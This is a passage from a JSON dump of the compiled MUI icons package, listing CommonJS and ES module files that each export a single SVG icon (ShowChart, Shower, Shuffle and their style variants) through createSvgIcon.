    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 11-6-6v5H8c-2.76 0-5 2.24-5 5v4h2v-4c0-1.65 1.35-3 3-3h7v5z\"\n}), 'ShortcutTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShortcutTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 11-6-6v5H8c-2.76 0-5 2.24-5 5v4h2v-4c0-1.65 1.35-3 3-3h7v5z\"\n}), 'ShortcutTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShowChart.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3.5 18.49 6-6.01 4 4L22 6.92l-1.41-1.41-7.09 7.97-4-4L2 16.99z\"\n}), 'ShowChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShowChart.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m3.5 18.49 6-6.01 4 4L22 6.92l-1.41-1.41-7.09 7.97-4-4L2 16.99z\"\n}), 'ShowChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShowChartOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3.5 18.49 6-6.01 4 4L22 6.92l-1.41-1.41-7.09 7.97-4-4L2 16.99z\"\n}), 'ShowChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShowChartOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m3.5 18.49 6-6.01 4 4L22 6.92l-1.41-1.41-7.09 7.97-4-4L2 16.99z\"\n}), 'ShowChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShowChartRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4.2 17.78 5.3-5.3 3.25 3.25c.41.41 1.07.39 1.45-.04l7.17-8.07c.35-.39.33-.99-.04-1.37-.4-.4-1.07-.39-1.45.04l-6.39 7.18-3.29-3.29a.996.996 0 0 0-1.41 0l-6.09 6.1c-.39.39-.39 1.02 0 1.41l.09.09c.39.39 1.03.39 1.41 0\"\n}), 'ShowChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShowChartRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4.2 17.78 5.3-5.3 3.25 3.25c.41.41 1.07.39 1.45-.04l7.17-8.07c.35-.39.33-.99-.04-1.37-.4-.4-1.07-.39-1.45.04l-6.39 7.18-3.29-3.29a.996.996 0 0 0-1.41 0l-6.09 6.1c-.39.39-.39 1.02 0 1.41l.09.09c.39.39 1.03.39 1.41 0\"\n}), 'ShowChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShowChartSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3.5 18.49 6-6.01 4 4L22 6.92l-1.41-1.41-7.09 7.97-4-4L2 16.99z\"\n}), 'ShowChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShowChartSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m3.5 18.49 6-6.01 4 4L22 6.92l-1.41-1.41-7.09 7.97-4-4L2 16.99z\"\n}), 'ShowChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShowChartTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.5 13.48-4-4L2 16.99l1.5 1.5 6-6.01 4 4L22 6.92l-1.41-1.41z\"\n}), 'ShowChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShowChartTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.5 13.48-4-4L2 16.99l1.5 1.5 6-6.01 4 4L22 6.92l-1.41-1.41z\"\n}), 'ShowChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Shower.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"17\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"17\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16\",\n  cy: \"17\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 5.08V3h-2v2.08C7.61 5.57 5 8.47 5 12v2h14v-2c0-3.53-2.61-6.43-6-6.92\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"20\",\n  r: \"1\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"20\",\n  r: \"1\"\n}, \"5\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16\",\n  cy: \"20\",\n  r: \"1\"\n}, \"6\")], 'Shower');"
  },
  {
    "path": "packages/mui-icons-material/lib/Shower.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"17\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"17\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16\",\n  cy: \"17\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 5.08V3h-2v2.08C7.61 5.57 5 8.47 5 12v2h14v-2c0-3.53-2.61-6.43-6-6.92\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"20\",\n  r: \"1\"\n}, \"4\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"20\",\n  r: \"1\"\n}, \"5\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16\",\n  cy: \"20\",\n  r: \"1\"\n}, \"6\")], 'Shower');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShowerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 17c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m3-1c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m4 0c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m3-4v2H5v-2c0-3.53 2.61-6.43 6-6.92V3h2v2.08c3.39.49 6 3.39 6 6.92m-2 0c0-2.76-2.24-5-5-5s-5 2.24-5 5zm-9 7c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m4 0c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m4 0c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1\"\n}), 'ShowerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShowerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 17c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m3-1c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m4 0c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m3-4v2H5v-2c0-3.53 2.61-6.43 6-6.92V3h2v2.08c3.39.49 6 3.39 6 6.92m-2 0c0-2.76-2.24-5-5-5s-5 2.24-5 5zm-9 7c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m4 0c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m4 0c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1\"\n}), 'ShowerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShowerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"17\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"17\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16\",\n  cy: \"17\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 5.08V4c0-.55-.45-1-1-1s-1 .45-1 1v1.08C7.61 5.57 5 8.47 5 12v1c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-1c0-3.53-2.61-6.43-6-6.92\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"20\",\n  r: \"1\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"20\",\n  r: \"1\"\n}, \"5\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16\",\n  cy: \"20\",\n  r: \"1\"\n}, \"6\")], 'ShowerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShowerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"17\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"17\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16\",\n  cy: \"17\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 5.08V4c0-.55-.45-1-1-1s-1 .45-1 1v1.08C7.61 5.57 5 8.47 5 12v1c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-1c0-3.53-2.61-6.43-6-6.92\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"20\",\n  r: \"1\"\n}, \"4\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"20\",\n  r: \"1\"\n}, \"5\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16\",\n  cy: \"20\",\n  r: \"1\"\n}, \"6\")], 'ShowerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShowerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"17\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"17\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16\",\n  cy: \"17\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 5.08V3h-2v2.08C7.61 5.57 5 8.47 5 12v2h14v-2c0-3.53-2.61-6.43-6-6.92\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"20\",\n  r: \"1\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"20\",\n  r: \"1\"\n}, \"5\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16\",\n  cy: \"20\",\n  r: \"1\"\n}, \"6\")], 'ShowerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShowerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"17\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"17\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16\",\n  cy: \"17\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 5.08V3h-2v2.08C7.61 5.57 5 8.47 5 12v2h14v-2c0-3.53-2.61-6.43-6-6.92\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"20\",\n  r: \"1\"\n}, \"4\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"20\",\n  r: \"1\"\n}, \"5\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16\",\n  cy: \"20\",\n  r: \"1\"\n}, \"6\")], 'ShowerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShowerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c-2.76 0-5 2.24-5 5h10c0-2.76-2.24-5-5-5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"20\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16\",\n  cy: \"17\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 5.08V3h-2v2.08C7.61 5.57 5 8.47 5 12v2h14v-2c0-3.53-2.61-6.43-6-6.92M7 12c0-2.76 2.24-5 5-5s5 2.24 5 5z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16\",\n  cy: \"20\",\n  r: \"1\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"17\",\n  r: \"1\"\n}, \"5\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"17\",\n  r: \"1\"\n}, \"6\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"20\",\n  r: \"1\"\n}, \"7\")], 'ShowerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShowerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c-2.76 0-5 2.24-5 5h10c0-2.76-2.24-5-5-5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"20\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16\",\n  cy: \"17\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 5.08V3h-2v2.08C7.61 5.57 5 8.47 5 12v2h14v-2c0-3.53-2.61-6.43-6-6.92M7 12c0-2.76 2.24-5 5-5s5 2.24 5 5z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16\",\n  cy: \"20\",\n  r: \"1\"\n}, \"4\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"17\",\n  r: \"1\"\n}, \"5\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"17\",\n  r: \"1\"\n}, \"6\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"20\",\n  r: \"1\"\n}, \"7\")], 'ShowerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Shuffle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.59 9.17 5.41 4 4 5.41l5.17 5.17zM14.5 4l2.04 2.04L4 18.59 5.41 20 17.96 7.46 20 9.5V4zm.33 9.41-1.41 1.41 3.13 3.13L14.5 20H20v-5.5l-2.04 2.04z\"\n}), 'Shuffle');"
  },
  {
    "path": "packages/mui-icons-material/lib/Shuffle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.59 9.17 5.41 4 4 5.41l5.17 5.17zM14.5 4l2.04 2.04L4 18.59 5.41 20 17.96 7.46 20 9.5V4zm.33 9.41-1.41 1.41 3.13 3.13L14.5 20H20v-5.5l-2.04 2.04z\"\n}), 'Shuffle');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShuffleOn.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M10.59 9.17 5.41 4 4 5.41l5.17 5.17zM14.5 4l2.04 2.04L4 18.59 5.41 20 17.96 7.46 20 9.5V4zm.33 9.41-1.41 1.41 3.13 3.13L14.5 20H20v-5.5l-2.04 2.04z\"\n}), 'ShuffleOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShuffleOn.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M10.59 9.17 5.41 4 4 5.41l5.17 5.17zM14.5 4l2.04 2.04L4 18.59 5.41 20 17.96 7.46 20 9.5V4zm.33 9.41-1.41 1.41 3.13 3.13L14.5 20H20v-5.5l-2.04 2.04z\"\n}), 'ShuffleOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShuffleOnOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M5.41 4l5.18 5.17-1.41 1.42L4 5.42zM20 20h-6v-2h2.61l-3.2-3.2 1.42-1.42 3.13 3.13.04.04V14h2zm0-10h-2V7.42L5.41 20 4 18.59 16.58 6H14V4h6z\"\n}), 'ShuffleOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShuffleOnOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M5.41 4l5.18 5.17-1.41 1.42L4 5.42zM20 20h-6v-2h2.61l-3.2-3.2 1.42-1.42 3.13 3.13.04.04V14h2zm0-10h-2V7.42L5.41 20 4 18.59 16.58 6H14V4h6z\"\n}), 'ShuffleOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShuffleOnRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M4.3 4.7c.39-.39 1.02-.39 1.41 0l4.47 4.47-1.42 1.4L4.3 6.11a.996.996 0 0 1 0-1.41m15.29 14.8c0 .28-.22.5-.5.5H15.3c-.45 0-.67-.54-.36-.85l1.2-1.2-3.13-3.13 1.41-1.41 3.13 3.14 1.19-1.19c.31-.32.85-.1.85.35zm0-11.21c0 .45-.54.67-.85.36l-1.19-1.19L5.7 19.29c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41L16.13 6.04l-1.19-1.19c-.31-.31-.09-.85.36-.85h3.79c.28 0 .5.22.5.5z\"\n}), 'ShuffleOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShuffleOnRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M4.3 4.7c.39-.39 1.02-.39 1.41 0l4.47 4.47-1.42 1.4L4.3 6.11a.996.996 0 0 1 0-1.41m15.29 14.8c0 .28-.22.5-.5.5H15.3c-.45 0-.67-.54-.36-.85l1.2-1.2-3.13-3.13 1.41-1.41 3.13 3.14 1.19-1.19c.31-.32.85-.1.85.35zm0-11.21c0 .45-.54.67-.85.36l-1.19-1.19L5.7 19.29c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41L16.13 6.04l-1.19-1.19c-.31-.31-.09-.85.36-.85h3.79c.28 0 .5.22.5.5z\"\n}), 'ShuffleOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShuffleOnSharp.js",
